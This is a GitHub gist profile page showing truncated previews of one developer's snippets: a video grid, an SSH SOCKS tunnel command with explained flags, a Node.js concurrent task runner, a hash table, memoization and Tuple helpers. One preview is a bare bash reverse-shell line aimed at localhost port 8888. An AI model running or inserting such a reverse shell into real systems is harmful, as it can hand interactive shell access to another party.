Skip to content

Instantly share code, notes, and snippets.

View ardeshireshghi's full-sized avatar

Ardeshir Eshghi ardeshireshghi

View GitHub Profile
<div class="video-grid js-video-grid">
<div class="video-container">
<video src="https://archive.org/download/BigBuckBunny_124/Content/big_buck_bunny_720p_surround.mp4" />
</div>
<div class="video-container">
<video src="https://archive.org/download/BigBuckBunny_124/Content/big_buck_bunny_720p_surround.mp4" />
</div>
<div class="video-container">
@ardeshireshghi
ardeshireshghi / proxy.md
Created November 16, 2020 11:22
SSH tunnel socks proxy

ssh -i ~/.ssh/id_rsa -D 1337 -f -C -q -N sammy@your_domain

Explanation of arguments

-i: The path to the SSH key to be used to connect to the host

-D: Tells SSH that we want a SOCKS tunnel on the specified port number (you can choose a number between 1025 and 65536)

-f: Forks the process to the background

@ardeshireshghi
ardeshireshghi / concurrent-task-runner.js
Created August 25, 2020 18:41
Runs aync/promise tasks concurrently (in the Node.js terms and Event loop) with retries and a set number of concurrency
const EventEmitter = require('events');
const logUpdate = require('log-update');
class ConcurrentTaskRunner extends EventEmitter {
constructor({
tasks = [],
concurrency = 5,
retries = 3,
debug = false
} = {}) {
const SERVICE_DISCOVERY_PORT = 3600;
function discoverService(name) {
const client = new net.Socket();
return new Promise(resolve => {
client.connect(SERVICE_DISCOVERY_PORT, () => {
client.write(`resolve ${name}`);
});
bash -i &> /dev/tcp/localhost/8888 0>&1
@ardeshireshghi
ardeshireshghi / hash_table.py
Last active June 29, 2020 19:24
This is a naive implementation of HashTable using LinkedList for resolving hash collisions
from hashlib import md5
import random
import string
class ListNode:
def __init__(self, data):
self.data = data
self.next = None
const numberofDaysAllMonths = (year = new Date().getFullYear()) =>
[...Array(12)].map((_, month) => new Date(year, month + 1, 0).getDate())
@ardeshireshghi
ardeshireshghi / memo.js
Last active June 10, 2020 22:51
Memoize very similar to `useMemo` in React
function isEqual(prevDeps = [], newDeps = []) {
if (prevDeps.length !== newDeps.length) {
return false;
}
for (const [ i, dep ] of newDeps.entries()) {
if (!Object.is(dep, prevDeps[i])) {
return false;
}
}
@ardeshireshghi
ardeshireshghi / tuple.js
Created June 1, 2020 14:46
Tuple data structure JS
const Tuple = (() => {
const handler = {
construct(target, args) {
const obj = new target(...args);
return new Proxy(obj, {
get: function (target, prop) {
if (typeof target._data[prop] !== 'function') {
return target._data[prop];
} else {
Number.isNumber = Number.isNumber ||
value => Number.isFinite(parseInt(value, 10)) && Number.isInteger(parseInt(value, 10))